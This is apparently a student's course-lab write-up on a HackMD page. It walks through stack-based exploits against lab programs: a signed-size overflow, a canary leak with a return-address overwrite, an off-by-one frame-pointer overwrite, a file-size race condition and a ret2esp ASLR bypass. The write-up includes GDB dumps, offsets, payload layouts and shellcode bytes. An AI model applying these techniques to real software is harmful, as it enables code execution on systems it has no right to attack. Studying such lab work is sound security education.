Tom Xie
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Write-ups ## Question 2: Compromising Further ### Main Idea The vulnerability in this question is that the variable `int8_t size` can be negative, which allows the call to `fread()` to put more than 128 characters inside `msg`, which results in a buffer overflow ### Magic Numbers We first determined the address of the char buffer `msg` (`0xbffff6f8`) and then the value of the eip (`0xbffff78c`) when executing `display()`. This was done by invoking GDB and placing a breakpoint at line 9. ``` x/16x msg 0xbffff6f8: 0xb7ffd2d0 0x00400429 0x00000002 0xb7ffcf5c 0xbffff708: 0x00000000 0xb7fc8d49 0x00000000 0x00400034 0xbffff718: 0xbffff720 0x00000008 0x01be3c6e 0x00000001 0xbffff728: 0x00000030 0x00001fb8 0x00000000 0x000002a0 (gdb) i f Stack level 0, frame at 0xbffff790: eip = 0x400695 in display (agent-smith.c:9); saved eip = 0x400775 called by frame at 0xbffff7c0 source language c. Arglist at 0xbffff788, args: path=0xbffff942 "pwnzerized" Locals at 0xbffff788, Previous frame's sp is 0xbffff790 Saved registers: ebx at 0xbffff784, ebp at 0xbffff788, eip at 0xbffff78c ``` By doing so, we've learned that the location of the return address is 148 bytes away from the start of `msg`. (148 = `0xbffff78c - 0xbffff6f8`) ### Exploit Structure Using this information, we can execute a buffer overflow by 1. Putting `"\xff"` as the first byte in `pwnzerized` so fread reads in more than 128 bytes from the file 2. Padding the next 148 bytes with `"a"` until the return address 3. Override the old return address with the new address of the shellcode; the shellcode will be put right after.(`0xbffff790 = 0xbffff78c + 4`) 4. Finally, insert the shellcode. ### Exploit GDB Output Using GDB after putting in a malicious `pwnzerized` file, we get the following output. ``` (gdb) x/40x msg 0xbffff6f8: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff708: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff718: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff728: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff738: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff748: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff758: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff768: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff778: 0x000000c0 0x61616161 0x61616161 0x61616161 0xbffff788: 0x61616161 0xbffff790 0xcd58326a 0x89c38980 ``` The return address was successfully changed to the new return address where the shellcode is (`0xbffff790`) after the second call to `fread()`. ## Question 3: Secret Exfiltration ### Main Idea The vulnerability in this question is how the `if (c.buffer[i] == '\\' && c.buffer[i+1] == 'x')` statement is constructed since a user can use the print statement to print out the canary value given the proper input. With the knowledge of the canary value, we can then perform buffer overflow when the program loops since the canary value does not change during a `while` loop. We then give an input that ensures that the canary value is not changed while performing the buffer overflow but is still changing the eip value so that it points at address of the shell code. ### Magic Numbers To begin, we first began by determining the address of the c.buffer (0xbffff7b4) and c.answer (0xbffff7a4) using `x/16x c.buffer` and `x/16x c.answer` respectively. After running the program multiple times, and using `x/16x c.answer`, we can identify the canary value (0xbffff7c4) since the canary value is being different for each run. Next we determined the address of the eip register (0xbffff7d0) by using the command `i f` in the dehexify function. This was all done by invoking GDB on the program `agent-jz` and setting a breakpoint at line 18. ``` (gdb) x/16x c.answer 0xbffff7a4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff7b4: 0x00000000 0x00000000 0x00000000 0x00401fb0 0xbffff7c4: 0x7225d94d 0x00401fb0 0xbffff7d8 0x00400839 0xbffff7d4: 0xb7ffcf5c 0xbffff85c 0xb7f8cc8b 0x00000001 (gdb) i f Stack level 0, frame at 0xbffff7d4: eip = 0x40072f in dehexify (agent-jz.c:18); saved eip = 0x400839 called by frame at 0xbffff7e0 source language c. Arglist at 0xbffff7cc, args: Locals at 0xbffff7cc, Previous frame's sp is 0xbffff7d4 Saved registers: ebx at 0xbffff7c8, ebp at 0xbffff7cc, eip at 0xbffff7d0 ``` ### Exploit Structure Using this information, we can execute a buffer overflow by: 1. Send an input using `p.send(...)` and giving an input that will 14 bytes long since `gets(c.buffer);` appends 2 null bytes to the end of our input. The input would be composed of 12 garbage bytes to pad the front and `\x`. We will also need to add `\n` to the end of the string being sent to create an input such as `p.send("aaaaaaaaaaaa\x" + "\n")`). 2. Receive the value being printed out by `printf("%s\n", c.answer);` by using the given function `p.recv(18)`. Then slice the string (`[-5, -1]`) so that we get a value that only has the last 4 bytes (not including the `\n`). This 4 byte value is the canary value that is protecting the return pointer from buffer overflows. 3. Send an input using `p.send(...)` to send another input to `get(c.buffer)`. The front of the input being sent should be composed of 32 garbage bytes, the 4 byte canary value, and 8 more garbage bytes. At this point we have now reached the return and need to override this with the address that is directly after the eip register since this is where we will be storing the shellcode. Thus, the last part of our input that we will be sending is composed of `"\xd4\xf7\xff\xbf" + SHELLCODE`. The resulting input should end with a `\n` and should look something like this: `p.send('A' * 32 + canary + 'B' * 8 + "\xd4\xf7\xff\xbf" + SHELLCODE + '\n')`. ### Exploit GDB Output Using GDB after sending `aaaaaaaaaaaa\x`, we get the following output: ``` (gdb) x/16x c.answer 0xbffff7a4: 0x61616161 0x61616161 0x61616161 0xcb34ffb9 0xbffff7b4: 0x401fb05c 0x61616161 0x61616161 0x0000785c 0xbffff7c4: 0x7225d94d 0x00401fb0 0xbffff7d8 0x00400839 0xbffff7d4: 0xb7ffcf5c 0xbffff860 0xb7f8cc8b 0x00000002 ``` After the while loop finishes running and sending `'A' * 32 + canary + 'B' * 8 + "\xd4\xf7\xff\xbf" + SHELLCODE`, as predicted, the `gets(c.buffer)` function wrote past the buffer boundary and overwrote the return instruction pointer to point to the given shellcode afterwards. ## Question 4 ### Main Idea We can do an off-by-one buffer overflow by overflowing the buffer in function `invoke()`. We are able to do this because of the condition in the for loop of the function `flip()`, `i` goes up to 64 if the length of `input` is greater than 64, which is just outside the maximum index of the buffer in `invoke()`. This allows the least significant byte of the sfp to change, which we can modify such that the sfp points back into the buffer where we can place the shellcode. ### Magic Numbers We first determined the address of the char buffer `buf` (`0xbffff770`) and then the value of the ebp in the frame of `invoke` (`0xbffff7b0`) when executing `display()`. This was done by invoking GDB and placing a breakpoint at the function `invoke()`. ``` (gdb) x/32x buf 0xbffff770: 0x00000000 0x00000001 0x00000000 0xbffff91b 0xbffff780: 0x00000000 0x00000000 0x00000000 0xb7ffc44e 0xbffff790: 0x00000000 0xb7ffefd8 0xbffff850 0xb7ffc165 0xbffff7a0: 0x00000000 0x00000000 0x00000000 0xb7ffc6dc 0xbffff7b0: 0xbffff7bc 0xb7ffc539 0xbffff948 0xbffff7c8 0xbffff7c0: 0xb7ffc55d 0xbffff948 0xbffff850 0xb7ffc734 0xbffff7d0: 0x00000002 0xbffff844 0xbffff850 0x00000000 0xbffff7e0: 0x00000000 0x00000100 0xb7ffc708 0xb7ffefd8 (gdb) i f Stack level 0, frame at 0xbffff7b8: eip = 0xb7ffc510 in invoke (agent-brown.c:19); saved eip = 0xb7ffc539 called by frame at 0xbffff7c4 source language c. Arglist at 0xbffff7b0, args: in=0xbffff948 "adsf" Locals at 0xbffff7b0, Previous frame's sp is 0xbffff7b8 Saved registers: ebp at 0xbffff7b0, eip at 0xbffff7b4 ``` ### Exploit Structure To execute the buffer overflow, we pass in the following as the argument: 1. 4 char padding that is popped off the when the epilogue of the calling function (`dispatch()`) executes `pop %ebp` 2. The address of the shellcode so that when the instruction `pop %eip` executes, the instruction pointer points to the shellcode. 3. The shellcode itself 4. Padding to fill up the rest of the buffer 5. One last byte that overwrites the last byte of the sfp so that when `pop %ebp` executes in the epilogue of `invoke()`, ebp will be pointing to the beginning of the buffer ### Exploit GDB Output When we run GDB with the malicious input, we get the following output: ``` (gdb) x/32x buf 0xbffff730: 0x61616161 0xbffff738 0xcd58326a 0x89c38980 0xbffff740: 0x58476ac1 0xc03180cd 0x2f2f6850 0x2f686873 0xbffff750: 0x546e6962 0x8953505b 0xb0d231e1 0x6180cd0b 0xbffff760: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff770: 0xbffff730 0xb7ffc539 0xbffff90b 0xbffff788 0xbffff780: 0xb7ffc55d 0xbffff90b 0xbffff810 0xb7ffc734 0xbffff790: 0x00000002 0xbffff804 0xbffff810 0x00000000 0xbffff7a0: 0x00000000 0x00000100 0xb7ffc708 0xb7ffefd8 (gdb) i f Stack level 0, frame at 0xbffff778: eip = 0xb7ffc52b in invoke (agent-brown.c:21); saved eip = 0xb7ffc539 called by frame at 0xbffff738 source language c. Arglist at 0xbffff770, args: in=0xbffff90b "AAAA\030\327?J\022x\355\240\251\343\251\341Jgx\355\240\021\340pH\017\017SHH\017BINt{ps\251\301\021\362\220+\355\240", 'A' <repeats 17 times>, "\020" Locals at 0xbffff770, Previous frame's sp is 0xbffff778 Saved registers: ebp at 0xbffff770, eip at 0xbffff774 ``` We can see that the least significant byte of the ebp was changed to point into the buffer, and the buffer contains the exact input described in the previous section. The addresses are slightly different than the ones in the magic numbers section, because after writing the code for the exploit, the environmental variables must have increased in size, which shifted the stack down slightly. ## Question 5: Against the Clock ### Main Idea The vulnerability in this question is that the program uses the `if (file_is_too_big(fd))` statement to check if the file is `<=` 128 bytes and does not perform any additional checks to see if the file has been manipulated while the program is running. Using this knowledge, we can bypass this check by starting the program with a file that originally passes the `file_is_too_big` check but change the contents of this file later on with the help of a delay so that when the content of the file is stored into the array `buf`, we can perform a buffer overflow to overwrites the return pointer for the `main` function and point it to our shellcode that is located in the `buf` array. While performing the buffer overflow, we must ensure that we do not overwrite any of the other special registers with garbage data to pad since it may cause an unwanted segfault that will crash the program. ### Magic Numbers We determined the address of the eip (0xbffff7cc) by creating a break point on line 47 and using the command `i f`. The output of the command is shown below: ``` (gdb) i f Stack level 0, frame at 0xbffff7d0: eip = 0x40096d in main (dejavu.c:47); saved eip = 0xb7f8cc8b source language c. Arglist at 0xbffff7b8, args: Locals at 0xbffff7b8, Previous frame's sp is 0xbffff7d0 Saved registers: ebp at 0xbffff7b8, eip at 0xbffff7cc ``` We then determined the address of `buf` (0xbffff718) by creating a break point on line 31 and using the command `x/48x buf`. Finally, we used the `i f` command to identify all of the special registers that we had to be mindful of since changing these might cause a segfault. ``` (gdb) x/48x buf 0xbffff718: 0x00000000 0xb7fc8d49 0x00000000 0x00400034 0xbffff728: 0xbffff730 0x00000008 0x01be3c6e 0x00000001 0xbffff738: 0x00000050 0x00001fa0 0x00000000 0x00000300 0xbffff748: 0x00000180 0x00000000 0x00000000 0x00000000 0xbffff758: 0x0000011b 0x00000010 0x000004cc 0x000009a7 0xbffff768: 0x00000000 0x00000000 0x00000000 0x0000041c 0xbffff778: 0x00000060 0x00000008 0x00000011 0xb7fff1a8 0xbffff788: 0x00000000 0x0000047c 0x00000000 0x00000000 0xbffff798: 0x00000000 0x00000003 0x00000000 0xb7ffcf5c 0xbffff7a8: 0xbffff7b8 0x00400972 0x00000000 0xbffff7d0 0xbffff7b8: 0xbffff850 0xb7f8cc8b 0xbffff844 0x00000002 0xbffff7c8: 0xbffff850 0xb7f8cc8b 0x00000002 0xbffff844 (gdb) i f Stack level 0, frame at 0xbffff7b0: eip = 0x4008c6 in read_file (dejavu.c:38); saved eip = 0x400972 called by frame at 0xbffff7d0 source language c. Arglist at 0xbffff7a8, args: Locals at 0xbffff7a8, Previous frame's sp is 0xbffff7b0 Saved registers: ebx at 0xbffff7a4, ebp at 0xbffff7a8, eip at 0xbffff7ac ``` ### Exploit Structure Using this information, we can execute a buffer overflow by: 1. We first create a file with fewer than 127 characters(including spaces) using `f = open(..., "w")` and `f.write(...)` so that the file passes the `file_is_too_big`. Make sure to remember to use `f.close()` to close the file. 2. We start the program using `p.start()`. Then using the library `time`, we invoke the function `time.sleep(1.5)` to cause our program to wait 1.5 seconds before it begins to modify the file that we passed in. 3. We once again open the same file use `f = open(..., "w")` to open the file. We then use `f.write()` to write to the file with the malicious code. The malicious code begins with the shellcode(85 bytes) and we pad it 59 garbage bytes until we reach a special register at address `0xbffff7a8`. We copy those bytes down so that we don't encounter any segfaults and then pad with 4 additional garbage bytes until we reach the address of another special register. We then pad the data until we reach the address of eip. We change the address of eip to point to the address of our shellcode which is at the beginning of the buffer (0xbffff718). Make sure to flush and close your code after writing to the file. 5. Make sure to use `p.send()` to send the number of bytes that we want to read from the file. ### Exploit GDB Output When we ran GDB after the program read the content of the malicious file, we got the following output: ``` (gdb) x/48x buf 0xbffff718: 0xdb31c031 0xd231c931 0xb05b32eb 0xcdc93105 0xbffff728: 0xebc68980 0x3101b006 0x8980cddb 0x8303b0f3 0xbffff738: 0x0c8d01ec 0xcd01b224 0x39db3180 0xb0e674c3 0xbffff748: 0xb202b304 0x8380cd01 0xdfeb01c4 0xffffc9e8 0xbffff758: 0x6f682fff 0x6f2f656d 0x6c636172 0x45522f65 0xbffff768: 0x454d4441 0x41414100 0x41414141 0x41414141 0xbffff778: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff788: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff798: 0x000000b9 0x41414141 0x41414141 0x41414141 0xbffff7a8: 0xbffff7b8 0x00400972 0x42424242 0xbffff7d0 0xbffff7b8: 0xbffff84c 0x43434343 0x43434343 0x43434343 0xbffff7c8: 0xbffff850 0xbffff718 0x0000000a 0xbffff844 ``` As predicted, the `read(fd, buf, bytes_to_read)` function wrote past the buffer boundary and overwrote the return instruction pointer to point to the given shellcode afterwards. ## Question 6: The Last Bastion ### Main Idea We can execute a ret2esp exploit as explained in the ASLR Smack & Laugh Reference. We can overflow the buffer in `handle` and override the saved eip with an address that points to a `jmp *esp` command that is located in the code. We can then put the shellcode right after the saved eip location because that is where the esp will point to after popping the rip. ### Magic Numbers We need to know the distance between the buffer (`0xbfe14820`) and the eip (`0xbfe1484c`) to determine how much padding to put (44 bytes) and we need to find the address of a `jmp *esp` command in the code. (58624 = 0xe4ff = `jmp *esp`). ``` (gdb) x/16x buf ¦ 0xbfe14820: 0x00000002 0xbfe14884 0x00000003 0xbfe14864 ¦ 0xbfe14830: 0xbfe14860 0x00000000 0x00000000 0x00000000 ¦ 0xbfe14840: 0x00000003 0x08049fb0 0xbfe148a8 0x0804890e ¦ 0xbfe14850: 0x00000004 0xbfe14864 0xbfe14860 0x0804879b ¦ (gdb) i f ¦ Stack level 0, frame at 0xbfe14850: ¦ eip = 0x8048754 in handle (agent-jones.c:38); saved eip = 0x804890e ¦ called by frame at 0xbfe148c0 ¦ source language c. ¦ Arglist at 0xbfe14848, args: client=4 ¦ Locals at 0xbfe14848, Previous frame's sp is 0xbfe14850 ¦ Saved registers: ¦ ebx at 0xbfe14844, ebp at 0xbfe14848, eip at 0xbfe1484c ``` The `jmp *esp` can be found inside function `magic()`. Running `disass magic` gives us the address: ``` 0x08048663 <+31>: orl $0xe4ff,0x8(%ebp) ``` Adding 3 bytes to the address gives us the address of the `0xe4ff`, so the address we want to override the rip with is `0x08048666` ### Exploit Structure To execute the exploit, we need to overflow the buffer with the following input: 1. Put 44 bytes of padding to overflow the buffer until the saved eip. 2. Override the saved eip with the address to the `jmp *esp` command. 3. Put the shellcode right after because that is where the esp will be pointing to after popping the eip. ### Exploit GDB Output After running GDB with the malicious input, we got the following output ``` (gdb) x/16x buf ¦ 0xbffa6f90: 0x23232323 0x23232323 0x23232323 0x23232323 ¦ 0xbffa6fa0: 0x23232323 0x23232323 0x23232323 0x23232323 ¦ 0xbffa6fb0: 0x61616161 0x61616161 0x61616161 0x08048666 ¦ 0xbffa6fc0: 0xffffffe8 0x8d5dc3ff 0xc0314a6d 0x5b016a99 ¦ (gdb) i f ¦ Stack level 0, frame at 0xbffa6fc0: ¦ eip = 0x804877d in handle (agent-jones.c:40); saved eip = 0x8048666 ¦ called by frame at 0x61616169 ¦ source language c. ¦ Arglist at 0xbffa6fb8, args: client=-24 ¦ Locals at 0xbffa6fb8, Previous frame's sp is 0xbffa6fc0 ¦ Saved registers: ¦ ebx at 0xbffa6fb4, ebp at 0xbffa6fb8, eip at 0xbffa6fbc ``` We were able to successfully overflow the buffer and change the rip to the address of the `jmp *esp` instruction we found in the code and put the shellcode right after.

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully